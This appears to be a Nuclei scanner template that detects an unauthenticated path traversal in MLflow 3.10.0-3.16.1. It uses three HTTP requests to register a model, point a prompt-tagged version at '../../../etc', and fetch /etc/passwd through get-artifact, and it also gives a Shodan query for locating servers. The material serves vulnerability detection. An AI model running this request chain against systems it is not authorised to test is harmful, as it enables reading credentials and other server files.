Copy
id: CVE-2026-116690
info:
name: MLflow 3.10.0-3.16.1 - Arbitrary File Read
author: ashish-cybersec
severity: high
description: |
MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.
impact: |
Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
remediation: |
Upgrade to version 3.17.0 or later.
reference:
- https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33
- https://github.com/mlflow/mlflow/pull/25870
- https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772
- https://nvd.nist.gov/vuln/detail/CVE-2026-116690
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-116690
epss-score: 0.01801
epss-percentile: 0.78648
cwe-id: CWE-22
metadata:
max-request: 3
verified: true
vendor: mlflow
product: mlflow
shodan-query: http.title:"MLflow"
tags: cve,cve2026,mlflow,lfi,vkev
variables:
model: "{{to_lower(rand_base(10))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}"}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(body, "registered_model")'
condition: and
internal: true
- raw:
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"../../../../../../../../etc","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(body, "model_version")'
condition: and
internal: true
- raw:
- |
GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022067e4ff7ff49e6749eb53a8882c9012c0ceca52364375b4106cdb1bbcc0a664d2022100cf9eec42477edec1a714b56ae65bbf3cd8f0ab2b0b38edb59aa16dd504112522:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.